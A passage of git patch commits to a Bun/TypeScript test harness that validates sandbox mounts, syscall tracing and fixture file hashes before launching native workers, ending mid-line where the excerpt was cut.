service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=nativeScriptedService(service.url.origin); + try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} finally{leave();service.stop(true);}process.exit(0);`, scratch); expect(result.code).not.toBe(0); expect(result.output).toContain('"success":false,"nativeLaunched":false'); expect(result.output).toContain('"reason":"OS namespace setup failed"'); @@ -145,7 +147,8 @@ test("missing kernel lifetime socket policy refuses before native launch", async import {chmodSync,writeFileSync} from "node:fs"; const policy=compileSocketPolicy();chmodSync(policy,0o700);writeFileSync(policy,${JSON.stringify("#!/bin/sh\nexit 125\n")});chmodSync(policy,0o555); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeClaudeBoundary(${JSON.stringify(runtime)},[],{});`,scratch); + const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=registerScriptedService(service.url.origin); + try{nativeClaudeBoundary(${JSON.stringify(runtime)},[],{});}finally{leave();service.stop(true);}`,scratch); expect(result.code).not.toBe(0); expect(result.output).toContain('"reason":"native socket lifetime policy unavailable"'); expect(result.output).toContain('"nativeLaunched":false'); From 2f0194a9e0959e2e063e9546f03b55bbd7794702 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 12:17:08 +0000 Subject: [PATCH 143/187] fix(test): reuse root lookups within provenance walks --- .../tests/fixtures/ordinary-identity-ws.ts | 1 + scripts/test-native-guard.ts | 36 ++++++++++--------- tests/native-managed-inspection.test.ts | 1 + 3 files changed, 22 insertions(+), 16 deletions(-) diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index c8e8325603..b55693967f 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -238,6 +238,7 @@ try { socket.send(JSON.stringify({ type: "chat_message", text: "Plan the return to Ithaca.", providerId: "odysseus-haiku", requestId: "ithaca-ordinary" })); await until(() => frames.some(frame => frame.type === "result" || frame.type === "error"), "REAL_SERVER_NATIVE_TERMINAL"); await until(() => !app!.wsHost.coordinator.isTurnActive(), "REAL_SERVER_RELEASED_TURN"); + if(nativeAckMs===undefined)console.log(JSON.stringify({actualNativeAckDiagnostics:{profile,warm,frames:frames.map(frame=>({type:frame.type,requestId:frame.requestId,sessionId:frame.sessionId,turnId:frame.turnId,outcome:frame.outcome,code:frame.code}))}})); expect(nativeAckMs,"ACTUAL_NATIVE_MANAGED_ACK_OBSERVED").toBeDefined(); // Product timing excludes only the union of the guard's own closed-list // intervals inside this exact submit/ack window. Product work is never timed diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index bee7217efe..bbc1dcf324 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -686,7 +686,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: sharedAudit?[...argv]:[straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], + return { argv: sharedAudit?[...argv]:[straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,kill,tgkill,pidfd_send_signal,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,kill,tgkill,pidfd_send_signal,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);}, beforeLaunch() { sharedAudit?.beforeLaunch(); @@ -1227,7 +1227,7 @@ function mountInputEvidence(input: string, destination: string, index: number, e /** Validate the same bind-source inventory used to construct the native view. */ function assertNativeMountSockets(mounts: readonly string[], origin: string, keeper?: KeeperInspection,route=scriptedRoute.getStore()): void { - const roots: string[] = []; + const roots: string[] = [],canonical=fixtureWalkRealpath(); for (let i = 0; i < mounts.length; i++) { const flag = mounts[i]!; if (flag.startsWith("--overlay") || flag.includes("bind-fd")) refuse("unsupported native mount source"); @@ -1240,7 +1240,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee const system = [...SYSTEM, ...SYSTEM_FILES].some(path => { try { return destination === path && source === realpathSync(path); } catch { return false; } }); - if (flag !== "--ro-bind" && (system || SYSTEM.some(root => { try { return within(realpathSync(root), source); } catch { return false; } }))) refuse("native system mounts must be read-only"); + if (flag !== "--ro-bind" && (system || SYSTEM.some(root => { try { return within(canonical(root), source); } catch { return false; } }))) refuse("native system mounts must be read-only"); // No recursive walk of the fixed distribution view. All other binds, // including fixture tools, homes, caches and relay storage, fail closed. if (!system&&!copiedBrainBindShadowed(mounts,i,route)) roots.push(source); @@ -1271,7 +1271,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee } // Aliases into fixed distribution roots follow the same read-only policy; // aliases into unmounted storage are inaccessible in the child. - if (real !== path && SYSTEM.some(root => { try { return within(realpathSync(root), real); } catch { return false; } }) || !roots.some(root => within(realpathSync(root),real))) return true; + if (real !== path && SYSTEM.some(root => { try { return within(canonical(root), real); } catch { return false; } }) || !roots.some(root => within(canonical(root),real))) return true; const access=inspectionAccessPath(path,keeper),info = lstatSync(access, { bigint: true }); if (info.isSocket()) { const peer = ownedSocketOrigin(real); @@ -1443,16 +1443,16 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); const report=async(code:number|null)=>{ let executed=false;try{if(code!==0||child.signalCode)executed=nativeExecuted?.()===true;}catch{ /* Unproven exec remains a bootstrap failure. */ } - if(!executed||code===0&&!child.signalCode)nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); + if(!executed||code===0&&!child.signalCode)nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null}); if(code===0&&!child.signalCode)return; if(["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ - nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-termination",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-termination",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null, reason:parentTerminatedBootstraps.has(child)?"terminated by parent signal":"terminated by signal"});return; } if(evidence){let timer:ReturnType|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} const text=evidence?.snapshot()??""; const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(labelNativeMountErrors(text,diagnosticRoots).replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); - nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-failure",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-failure",head:nativeTestHead(),pid:child.pid,parentPid:process.pid,exitCode:code,signal:child.signalCode??null, reason:safe||(executed?"native payload exited nonzero without stderr":"worker bootstrap exited nonzero; stderr reason unavailable")}); }; completion=child.exited.then(report,()=>report(null)); @@ -1984,21 +1984,25 @@ function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string return inspectionAccessPath(keeper&&within(keeper.mount,path)?join(keeper.snapshot,path.slice(keeper.mount.length)):input,keeper); } +/** Canonical-root lookups are reused only inside this synchronous walk. A + * separate execution-edge validation creates a new resolver and checks again. + */ +function fixtureWalkRealpath(){const paths=new Map();return (path:string)=>{const cached=paths.get(path);if(cached!==undefined)return cached;const real=realpathSync(path);paths.set(path,real);return real;};} /** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ -function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string): boolean { +function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string,canonical:(path:string)=>string=realpathSync): boolean { // The same fixed-runtime union was already admitted below. Check it before // re-attesting unrelated fixture roots for every dependency file. Resolve // the matching root afresh; there is no cross-launch authorization cache. for(const root of [join(ROOT,"packages"),join(ROOT,"node_modules"),...SYSTEM]){ - if(within(root,source)){try{if(within(realpathSync(root),source))return true;}catch{}} + if(within(root,source)){try{if(within(canonical(root),source))return true;}catch{}} } const created=[...createdFixtureRoots].filter(([path,stamp])=>{try{const now=lstatSync(path,{bigint:true});return now.dev===stamp.dev&&now.ino===stamp.ino;}catch{return false;}}).map(([path])=>path); const registered=route.fixtureRoots.filter(path=>{try{const stamp=route.fixtureRootStamps.get(path),now=lstatSync(path,{bigint:true});return Boolean(stamp&&stamp.dev===now.dev&&stamp.ino===now.ino);}catch{return false;}}); const roots = [...registered, ...created, guardRoot, ...["packages", "node_modules"].map(name => join(ROOT, name)), ...SYSTEM]; - if (roots.some(root => { try { return within(realpathSync(root), source); } catch { return false; } })) return true; + if (roots.some(root => { try { return within(canonical(root), source); } catch { return false; } })) return true; return [...SYSTEM_FILES, process.execPath, compileSocketPolicy(), ...["package.json", "tsconfig.json", "bunfig.toml"].map(name => join(ROOT, name))] - .some(path => { try { return realpathSync(path) === source; } catch { return false; } }); + .some(path => { try { return canonical(path) === source; } catch { return false; } }); } interface NativeCheckpointRole {root:string;brain:string} @@ -2064,7 +2068,7 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection,checkpoint?:NativeCheckpointRole): void { // Overlapping package binds share one walk within this validation only. // A new beforeLaunch call gets a fresh set and checks the tree again. - const visited=new Set(); + const visited=new Set(),canonical=fixtureWalkRealpath(); for(let i=0;iwithin(root,source))&&!workerSourceAllowed(source,route,guardRoot)) { + if(!checkpointRoot&&!privateIndexRoot&&!copiedRoot&&!keeperRoots.some(root=>within(root,source))&&!workerSourceAllowed(source,route,guardRoot,canonical)) { const info=lstatSync(source); if(!(info.isSocket() && socketMatchesOrigin(source,route.origin)) && !(source === "/dev/null" && info.isCharacterDevice()))refuse("worker bind was not created or staged by the fixture",mountInputEvidence(source,mounts[i+2]!,i,{code:"UNREGISTERED"},route.fixtureRoots)); } @@ -2084,8 +2088,8 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth inspected=path; const opaque=opaqueStageSnapshots.get(path);if(opaque){opaque.check();return;} const real=realpathSync(path),access=inspectionAccessPath(path,keeper),info=lstatSync(access); - if(info.isFile() && !keeperRoots.some(root=>within(root,access)&&within(realpathSync(root),real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); - if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; + if(info.isFile() && !keeperRoots.some(root=>within(root,access)&&within(canonical(root),real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot,canonical))refuse("worker file was not created or staged by the fixture"); + if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(canonical(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(access))visit(join(access,name)); }; try { visit(source); } catch(error) { @@ -2514,7 +2518,7 @@ function nativeUnknownBoundaryInWalk(command:readonly string[],options:SpawnCont const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); try{if(!fixedProbe){sharedAudit=borrowNativeAudit(reason=>report(reason));if(!sharedAudit&&strace)outerAudit=ownNativeAudit(log,strace);}}catch(error){refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} - const tracePrefix=strace&&!sharedAudit?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=connect,%process,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4","-o",log,"--"]:[]; + const tracePrefix=strace&&!sharedAudit?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=connect,%process,kill,tgkill,pidfd_send_signal,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4","-o",log,"--"]:[]; const forkOwnerFile=at===5&&argv[4]===NATIVE_FIXTURE_FORK_EXEC?join(directory,"fork-owner"):undefined; const forkOwnerDeadline=Date.now()+5000; diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index ccedf384f8..06fe50b6ee 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -241,6 +241,7 @@ test("mutable same-size rewrites are rehashed even when kernel timestamp keys re const root=mkdtempSync("/tmp/odysseus-mutable-rehash-"),path=join(root,"loom.md"),fixed=new Date("2026-07-12T00:00:00Z");let repeatedKeys=0,changedCtimes=0; try{for(let i=0;i<40;i++){ writeFileSync(path,"Ithaca\n");utimesSync(path,fixed,fixed);const before=nativeFixtureFileFinding(path),old=lstatSync(path,{bigint:true}); + expect(before.hash,"MUTABLE_REHASH_CATCHES_RESTORED_TIMESTAMP_BYTES").toBe(createHash("sha256").update("Ithaca\n").digest("hex")); writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);const after=nativeFixtureFileFinding(path),now=lstatSync(path,{bigint:true}); if(before.key===after.key)repeatedKeys++;if(old.ctimeNs!==now.ctimeNs)changedCtimes++; expect(now.ino).toBe(old.ino);expect(now.size).toBe(old.size);expect(now.mtimeNs).toBe(old.mtimeNs); From 2cd9ffe400945babbecf3c521800dadfffd660a9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 12:31:27 +0000 Subject: [PATCH 144/187] fix(test): rehash mutable stages at execution boundaries --- .../fixture-preparation.native.ts | 6 +++- scripts/native-stage-metadata-check.ts | 9 +++--- scripts/test-native-guard.ts | 29 ++++++++++++------- 3 files changed, 29 insertions(+), 15 deletions(-) diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts index 605b61b6b1..dc7d1ec6cb 100644 --- a/scripts/native-proof/fixture-preparation.native.ts +++ b/scripts/native-proof/fixture-preparation.native.ts @@ -1,4 +1,5 @@ /** Real preparers and real stages; failures are isolated by the root proof caller. */ +import * as fixtureReceipts from "../native-test-receipts"; import {expect,spyOn} from "bun:test"; import * as fixtureFs from "node:fs"; import {Database} from "bun:sqlite"; @@ -68,6 +69,7 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat return Reflect.apply(spawn,Bun,args); }}return Reflect.apply(spawn,Bun,args); }}); + let byteCheckObserver:ReturnType|undefined;const byteChecks:Record[]=[]; let output:Awaited>|undefined; try{ if(mode==="copied-wrapper"){progress("copied-inspection-start"); @@ -114,7 +116,9 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat const plan=recorded;expect(plan,"ACTUAL_RECORDED_PREPARER_PLAN").toBeDefined(); let refused=false;try{plan!.beforeLaunch();}catch{refused=true;}expect(refused,"RETIRED_INSPECTION_CANNOT_LAUNCH").toBe(true);console.log("FIXTURE_OLD_INSPECTION_RETIRED");return; } + const realReceipt=fixtureReceipts.nativeReceipt;byteCheckObserver=spyOn(fixtureReceipts,"nativeReceipt").mockImplementation(value=>{if(value.kind==="native-fixture-execution-byte-check")byteChecks.push(value);return realReceipt(value);}); expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); + expect(byteChecks.some(row=>Number(row.byteFiles)>0),"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBe(true); const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); writeFileSync(join(gitRoot,"config.json"),JSON.stringify({marker:"Odysseus preparation"}),{mode:0o600});writeFileSync(join(gitRoot,"empty-config"),"");writeFileSync(join(gitRoot,"bin/git"),"#!/bin/sh\nexit 0\n",{mode:0o755}); const git=await prepareMaintenanceGitInput({...base(),git:{source:gitRoot,target:"/tmp/brain-maintenance-git",entry:Bun.resolveSync("../../packages/ui-sdk/src/server/maintenance-git-entry",import.meta.dir),binary:"/usr/bin/git"}}); @@ -123,7 +127,7 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat expect((await runMaintenanceWorker({...base(),git})).exitCode,"PUBLICATION_FILE_IS_INSPECTED_WITHOUT_DIRECTORY_ROLE").toBe(0); await expect(runMaintenanceWorker({...base(),git:{...git}}),"REAL_FOREIGN_GIT_SPEC_REFUSES").rejects.toThrow("Unprepared or foreign concrete maintenance Git input"); expect((await runMaintenanceWorker({...base(),git})).exitCode,"FOREIGN_PREFLIGHT_DOES_NOT_RETIRE_UNCONSUMED_INSPECTION").toBe(0);console.log("FIXTURE_REAL_INDEX_AND_GIT_RECAPTURED"); - }finally{progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); + }finally{byteCheckObserver?.mockRestore();progress("cleanup-start");stopRecording();Object.defineProperty(Bun,"spawn",descriptor); try{ if(mode==="closed-wrapper"){ await output!.cleanup(); diff --git a/scripts/native-stage-metadata-check.ts b/scripts/native-stage-metadata-check.ts index 262fb9569a..352ce50487 100644 --- a/scripts/native-stage-metadata-check.ts +++ b/scripts/native-stage-metadata-check.ts @@ -2,13 +2,14 @@ import {createHash} from "node:crypto"; import {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; try{ - const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];hashes?:[string,string][];links?:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; + const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];verifyBytes?:boolean;hashes?:[string,string][];links?:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; if(!Array.isArray(input.entries)||input.entries.length>200000)throw Error("Invalid inspection bound"); const expected=new Map(input.entries.filter(([path])=>path!=="")),seen=new Set(); if(expected.size!==input.entries.length-1)throw Error("Invalid inspection inventory"); const manager=createNativeBrainManagerClient(input.options); const hashes=new Map(input.hashes??[]),links=new Map(input.links??[]); const opaque=new Map((input.opaque??[]).map(node=>[node.path,node])); + let byteFiles=0,byteBytes=0; let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>();const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;}for(const cancel of cancellations)void cancel().catch(()=>{});};const queue:(()=>Promise)[]=[],pending=new Set>(); const walk=async(path:string,depth:number):Promise=>{ if(depth>256)throw Error("Inspection depth exceeded"); @@ -22,12 +23,12 @@ try{ if(!denied)throw Error("Opaque node became accessible"); }else if(row.kind==="directory")await walk(row.path,depth+1); else if(row.kind==="symlink"){if(links.get(row.path)!==row.target)throw Error("Stage symlink changed");} - else if(row.kind==="file"){ + else if(row.kind==="file"&&input.verifyBytes===true){ const digest=hashes.get(row.path);if(!digest)throw Error("Missing inspected byte identity"); const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel); try{const hash=createHash("sha256");let bytes=0;for(;;){if(failed)throw failure;const part=await reader.read();if(part.done)break;bytes+=part.value.byteLength;if(bytes>row.bytes)throw Error("Stage file grew");hash.update(part.value);} const receipt=await copy.completed,after=await manager.statStage(input.id,row.path,input.uid); - if(bytes!==row.bytes||receipt.bytes!==bytes||copy.workerUid!==input.uid||receipt.workerUid!==input.uid||hash.digest("hex")!==digest||after?.stamp!==row.stamp)throw Error("Stage bytes changed"); + if(bytes!==row.bytes||receipt.bytes!==bytes||copy.workerUid!==input.uid||receipt.workerUid!==input.uid||hash.digest("hex")!==digest||after?.stamp!==row.stamp)throw Error("Stage bytes changed");byteFiles++;byteBytes+=bytes; }finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);} } }); @@ -38,5 +39,5 @@ try{ if(pending.size)await Promise.race(pending); }}finally{queue.length=0;await Promise.allSettled([...cancellations].map(cancel=>cancel()));await Promise.allSettled([...pending]);} if(failed)throw failure;if(seen.size!==expected.size)throw Error("Stage changed"); - process.stdout.write('{"current":true}\n'); + process.stdout.write(JSON.stringify({current:true,byteFiles,byteBytes})+"\n"); }catch{process.stdout.write('{"current":false}\n');process.exitCode=1;} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index bbc1dcf324..eb305a6ca1 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -34,10 +34,13 @@ function recordGuardTiming(operation:string,startMs:number):void { guardTimingReceipts.add(interval); for(const window of guardTimingWindows)if(interval.endMs>window.startMs){window.rows.push(interval);window.channel.recordGuardTiming(interval);} } +let guardExecutionCheck=false; const guardTimingContext=new AsyncLocalStorage<{active:boolean}>(); function guardTiming(operation:string,run:()=>T):T { - if(guardTimingContext.getStore()?.active)return run(); - const scope={active:true},began=performance.now();try{return guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} + const previous=guardExecutionCheck;if(operation==="launch-validation"||operation==="executable-transfer")guardExecutionCheck=true; + try{if(guardTimingContext.getStore()?.active)return run(); + const scope={active:true},began=performance.now();try{return guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} + }finally{guardExecutionCheck=previous;} } async function guardTimingAsync(operation:string,run:()=>Promise):Promise{ if(guardTimingContext.getStore()?.active)return run(); @@ -1488,11 +1491,12 @@ function clearOpaqueSnapshot(snapshot:string){ } // A walk is synchronous: no result survives an await or an execution boundary. let fixtureValidationWalk:Set<()=>boolean>|undefined; +let fixtureValidatedFindings:Set|undefined; function fixtureWalk(run:()=>T,fresh=false):T { - const previous=fixtureValidationWalk; + const previous=fixtureValidationWalk,previousFindings=fixtureValidatedFindings; if(previous&&!fresh)return run(); - fixtureValidationWalk=new Set(); - try{return run();}finally{fixtureValidationWalk=previous;} + fixtureValidationWalk=new Set();fixtureValidatedFindings=new Set(); + try{return run();}finally{fixtureValidationWalk=previous;fixtureValidatedFindings=previousFindings;} } function fixtureFreshness(check:()=>boolean):boolean { if(fixtureValidationWalk?.has(check))return true; @@ -1525,8 +1529,11 @@ function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number; } function recheckMutableFixtureFinding(finding:{key:string;path:string;hash:string;fd?:number}):boolean { if(fixturePathKey(finding.path)!==finding.key)return false; - if(finding.fd===undefined)return fileHash(finding.path)===finding.hash; - return fixtureDescriptorKey(finding.fd)===finding.key&&fixtureDescriptorHash(finding.fd).hash===finding.hash&&fixturePathKey(finding.path)===finding.key; + if(finding.fd!==undefined&&fixtureDescriptorKey(finding.fd)!==finding.key)return false; + if(!guardExecutionCheck||fixtureValidatedFindings?.has(finding))return true; + const hash=finding.fd===undefined?fileHash(finding.path):fixtureDescriptorHash(finding.fd).hash; + if(hash!==finding.hash||fixturePathKey(finding.path)!==finding.key)return false; + fixtureValidatedFindings?.add(finding);return true; } function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolean { if(!keeper?.managed)return false;const finding=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return finding!==undefined&&recheckMutableFixtureFinding(finding); @@ -1631,7 +1638,7 @@ async function captureNativeFixtureStageInspected(manager:Pick{if(opaque.some(node=>node.path===path||path.startsWith(node.path+"/")))return false;try{return lstatSync(join(snapshot,path)).isFile()||inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot);}catch{return false;}}).map(path=>[path,fileHash(inspectionAccessPath(join(snapshot,path),{managed:true,snapshot} as KeeperInspection))]))); + stageEntryHashes.set(stamps,new Map([...stamps.keys()].filter(path=>{if(opaque.some(node=>node.path===path||path.startsWith(node.path+"/")))return false;try{return lstatSync(join(snapshot,path)).isFile()||inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot);}catch{return false;}}).map(path=>{const finding=inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.get(snapshot);return [path,finding?.hash??fileHash(join(snapshot,path))];}))); return stamps; } const usedManagedKeepers=new WeakSet(); @@ -1887,8 +1894,10 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack const root=lstatSync(join(storage.root,"merged"),{bigint:true});if(`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`!==stageStamps.get(""))return false; const socket=lstatSync(managerOptions.socketPath);if(!socket.isSocket()||socket.dev!==managerSocket.dev||socket.ino!==managerSocket.ino||socket.uid!==0)return false; if(!metadataRuntime)return false;const executable=statSync(metadataRuntime.path,{bigint:true});if(executable.dev!==metadataRuntime.stamp.dev||executable.ino!==metadataRuntime.stamp.ino||executable.size!==metadataRuntime.stamp.size)return false; - const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],hashes:[...stageHashes??[]],links:[...stageLinks??[]],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); - const after=lstatSync(managerOptions.socketPath);return result.exitCode===0&&String(result.stdout).trim()==='{"current":true}'&&after.dev===socket.dev&&after.ino===socket.ino&&after.uid===0; + const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],verifyBytes:guardExecutionCheck,hashes:[...stageHashes??[]],links:[...stageLinks??[]],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); + const after=lstatSync(managerOptions.socketPath),receipt=JSON.parse(String(result.stdout)),expectedFiles=guardExecutionCheck?(stageHashes?.size??0):0,expectedBytes=guardExecutionCheck?[...stageHashes??[]].reduce((sum,[path])=>sum+Number(stageStamps!.get(path)!.split(":")[1]),0):0; + if(result.exitCode!==0||Object.keys(receipt).sort().join(",")!=="byteBytes,byteFiles,current"||receipt.current!==true||receipt.byteFiles!==expectedFiles||receipt.byteBytes!==expectedBytes||after.dev!==socket.dev||after.ino!==socket.ino||after.uid!==0)return false; + if(guardExecutionCheck)nativeReceipt({kind:"native-fixture-execution-byte-check",head:nativeTestHead(),byteFiles:receipt.byteFiles,byteBytes:receipt.byteBytes,success:true});return true; }catch{return false;} }; const attested=()=>{try{ From befd50f209937b9e34d2d3f0411bdb4a25394239 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 12:48:50 +0000 Subject: [PATCH 145/187] fix(test): resolve stage links through actual registered binds --- .../fixture-preparation.native.ts | 40 ++++++++--- .../native-proof/identity-manager.native.ts | 10 +-- scripts/native-stage-links.ts | 42 +++++++++++ scripts/test-native-guard.ts | 71 +++++++++++-------- tests/native-stage-links.test.ts | 18 +++++ 5 files changed, 140 insertions(+), 41 deletions(-) create mode 100644 scripts/native-stage-links.ts create mode 100644 tests/native-stage-links.test.ts diff --git a/scripts/native-proof/fixture-preparation.native.ts b/scripts/native-proof/fixture-preparation.native.ts index dc7d1ec6cb..ffd53fc76b 100644 --- a/scripts/native-proof/fixture-preparation.native.ts +++ b/scripts/native-proof/fixture-preparation.native.ts @@ -1,5 +1,4 @@ /** Real preparers and real stages; failures are isolated by the root proof caller. */ -import * as fixtureReceipts from "../native-test-receipts"; import {expect,spyOn} from "bun:test"; import * as fixtureFs from "node:fs"; import {Database} from "bun:sqlite"; @@ -10,17 +9,27 @@ import {prepareNativeWorkerStartupView} from "../../packages/ui-sdk/src/server/w import {prepareNativeWorkerOutput} from "../../packages/ui-sdk/src/server/worker-native-output"; import {probeWorkerHost} from "../../packages/ui-sdk/src/server/worker-launcher"; import {prepareMaintenanceWorker,prepareMaintenanceGitInput,runMaintenanceWorker,type MaintenanceCommand} from "../../packages/ui-sdk/src/server/maintenance-worker"; -import 